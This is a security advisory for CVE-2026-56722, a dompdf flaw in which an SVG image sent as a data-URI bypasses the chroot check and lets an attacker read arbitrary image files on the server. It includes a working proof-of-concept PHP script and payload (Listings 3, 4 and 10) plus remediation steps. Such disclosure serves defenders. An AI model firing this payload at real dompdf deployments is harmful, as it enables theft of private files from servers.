CVE-2026-56722: Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI
Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration. Exploitation conditions: An external user Researcher: Nikita Sveshnikov (Positive Technologies)
Research dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):
Listing 1. chroot settings $rootDir = realpath(DIR . "/../"); $this->setChroot(array($rootDir)); // result: chroot = ["/path/to/vendor/dompdf/dompdf"] When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:
Listing 2. Blocking link <!-- BLOCKED: /tmp/ is outside chroot --> <img src="file:///tmp/secret.png"> How the protection is bypassed: An attacker wraps the link to the target file in SVG format and delivers it via data: URI:
Listing 3. Wrapping link in SVG <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i..."> Inside the base64 payload is an SVG containing the <image> element that points to the target file:
Listing 4. Pointing to the target file <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415"> <image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/> </svg> Why the bypass works: The issue is that dompdf handles the SVG twice: first through its own validator and then via php-svg-lib — and the second pass does not apply the protection that the first pass does.
Step 1. The data:// protocol has no validation rules (Options.php:546-547):
Listing 5. Lack of rules case "data://": break; // no rules
SVG content passes without any checks.
Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.
Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):
Listing 6. Passing the SVG $doc = new \Svg\Document(); $doc->allowExternalReferences = true; // forced $doc->loadFile($file); php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.
Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):
Listing 7. phar:// blocking if ($scheme === "phar" || ($this->document->allowExternalReferences === false && $scheme !== "data")) { return; } $this->document->getSurface()->drawImage($this->href, ...); Step 5. drawImage() invokes filegetcontents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):
Listing 8. filegetcontents() call $data = filegetcontents($image); // reads ANY path There is no chroot check. No protocol validation. The file is read and embedded into the PDF.
An example of exploitation: Listing 9. An example of a vulnerable code (html2pdf.php) requireonce DIR . '/vendor/autoload.php';
$dompdf = new Dompdf\Dompdf(); $dompdf->loadHtml($POST['html']); $dompdf->render(); $dompdf->stream('poc.pdf', ['Attachment' => false]);
Listing 10. An example attack on the vulnerable code $file = $GET['file'] ?? '/tmp/userfiles/user1/privateimage.png';
$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">' . '<image xlink:href="' . htmlspecialchars($file, ENTQUOTES) . '" x="0" y="0" width="589" height="415"/>' . '</svg>';
$html = '<html><body>' . '<img src="data:image/svg+xml;base64,' . base64encode($svg) . '">' . '</body></html>';
$url = 'http://example.com/html2pdf.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => httpbuildquery($data), 'ignoreerrors' => true, ], ]; $context = streamcontextcreate($options); $response = filegetcontents($url, false, $context);
Figure 1. The image was read successfully <img width="875" height="404" alt="image" src="https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2" />
Credits Nikita Sveshnikov (Positive Technologies)
Other sources
Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, aAn attacker who controls the HTML input can bypass this restriction by embedding a target file path inside an SVG image delivered through a data: URI, because dompdf processes the SVG twice and the second pass does not enforce the same protections as the first. When rendering, dompdf hands the SVG to the separate php-svg-lib library with external references forced on, and that library has no knowledge of the chroot directory, blocks only the phar:// scheme, and ultimately reads the referenced file with no path or protocol validation. This lets an external, unauthenticated attacker read arbitrary image files from the server's file system in the default configuration. This issue has been fixed in version 3.16.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/dompdf/dompdfto a version that resolves this vulnerability.Fixed in 3.1.6 - Upgrade
Upgrade
dompdfto a version that resolves this vulnerability.Fixed in 3.16 - Configuration
Disable external references so the SVG rendering does not force external references on (in the described attack, php-svg-lib is reached with allowExternalReferences enabled/forced).
dompdf allowExternalReferences = false - Compensating control
Place/domlimit dompdf execution in a chroot environment where the dompdf `chroot` directory is not accessible to sensitive files, since the bypass reads arbitrary image files from the server file system when protections are not properly enforced across the second SVG processing pass.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-56722?
CVE-2026-56722 has a risk rating of 54.
What does CVE-2026-56722 allow attackers to do?
CVE-2026-56722 allows attackers to read arbitrary images from the server’s file system.
How can I fix CVE-2026-56722?
To fix CVE-2026-56722, ensure proper input validation and update to the latest version of dompdf.
What are the exploitation conditions for CVE-2026-56722?
CVE-2026-56722 can be exploited by an external user who can control the HTML input to dompdf.
Which software is affected by CVE-2026-56722?
CVE-2026-56722 affects the dompdf library in composer.